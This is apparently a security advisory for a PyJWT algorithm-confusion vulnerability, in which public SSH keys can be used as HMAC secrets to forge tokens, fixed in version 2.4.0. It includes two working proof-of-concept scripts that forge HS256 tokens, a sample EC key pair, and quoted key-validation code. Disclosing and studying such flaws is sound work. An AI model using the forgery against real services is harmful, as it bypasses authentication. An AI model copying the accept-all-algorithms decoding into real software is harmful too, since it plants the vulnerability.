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Impact

What kind of vulnerability is it? Who is impacted?

Disclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation).

PyJWT supports multiple different JWT signing algorithms. With JWT, an
attacker submitting the JWT token can choose the used signing algorithm.

The PyJWT library requires that the application chooses what algorithms
are supported. The application can specify
“jwt.algorithms.get_default_algorithms()” to get support for all
algorithms. They can also specify a single one of them (which is the
usual use case if calling jwt.decode directly. However, if calling
jwt.decode in a helper function, all algorithms might be enabled.)

For example, if the user chooses “none” algorithm and the JWT checker
supports that, there will be no signature checking. This is a common
security issue with some JWT implementations.

PyJWT combats this by requiring that the if the “none” algorithm is
used, the key has to be empty. As the key is given by the application
running the checker, attacker cannot force “none” cipher to be used.

Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is
not a public key meant for asymmetric algorithm i.e. HMAC cannot be used
if the key begins with “ssh-rsa”. If HMAC is used with a public key, the
attacker can just use the publicly known public key to sign the token
and the checker would use the same key to verify.

From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm.
With ed25519, PyJWT supports public keys that start with “ssh-“, for
example “ssh-ed25519”.

import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import ed25519

# Generate ed25519 private key
private_key = ed25519.Ed25519PrivateKey.generate()

# Get private key bytes as they would be stored in a file
priv_key_bytes = 
private_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8, 
encryption_algorithm=serialization.NoEncryption())

# Get public key bytes as they would be stored in a file
pub_key_bytes = 
private_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH)

# Making a good jwt token that should work by signing it with the 
private key
encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="EdDSA")

# Using HMAC with the public key to trick the receiver to think that the 
public key is a HMAC secret
encoded_bad = jwt.encode({"test": 1234}, pub_key_bytes, algorithm="HS256")

# Both of the jwt tokens are validated as valid
decoded_good = jwt.decode(encoded_good, pub_key_bytes, 
algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad = jwt.decode(encoded_bad, pub_key_bytes, 
algorithms=jwt.algorithms.get_default_algorithms())

if decoded_good == decoded_bad:
     print("POC Successfull")

# Of course the receiver should specify ed25519 algorithm to be used if 
they specify ed25519 public key. However, if other algorithms are used, 
the POC does not work
# HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py
#
#        invalid_strings = [
#            b"-----BEGIN PUBLIC KEY-----",
#            b"-----BEGIN CERTIFICATE-----",
#            b"-----BEGIN RSA PUBLIC KEY-----",
#            b"ssh-rsa",
#        ]
#
# However, OKPAlgorithm (ed25519) accepts the following in 
jwt/algorithms.py:
#
#                if "-----BEGIN PUBLIC" in str_key:
#                    return load_pem_public_key(key)
#                if "-----BEGIN PRIVATE" in str_key:
#                    return load_pem_private_key(key, password=None)
#                if str_key[0:4] == "ssh-":
#                    return load_ssh_public_key(key)
#
# These should most likely made to match each other to prevent this behavior

import jwt

#openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem
#openssl ec -in ec256-key-priv.pem -pubout > ec256-key-pub.pem
#ssh-keygen -y -f ec256-key-priv.pem > ec256-key-ssh.pub

priv_key_bytes = b"""-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49
AwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKk
Ak3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==
-----END EC PRIVATE KEY-----"""

pub_key_bytes = b"""-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoL
Zr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==
-----END PUBLIC KEY-----"""

ssh_key_bytes = b"""ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc="""

# Making a good jwt token that should work by signing it with the private key
encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="ES256")

# Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret
encoded_bad = jwt.encode({"test": 1234}, ssh_key_bytes, algorithm="HS256")

# Both of the jwt tokens are validated as valid
decoded_good = jwt.decode(encoded_good, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad = jwt.decode(encoded_bad, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())

if decoded_good == decoded_bad:
    print("POC Successfull")
else:
    print("POC Failed")

The issue is not that big as
algorithms=jwt.algorithms.get_default_algorithms() has to be used.
However, with quick googling, this seems to be used in some cases at
least in some minor projects.

Patches

Users should upgrade to v2.4.0.

Workarounds

Always be explicit with the algorithms that are accepted and expected when decoding.

References

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For more information

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References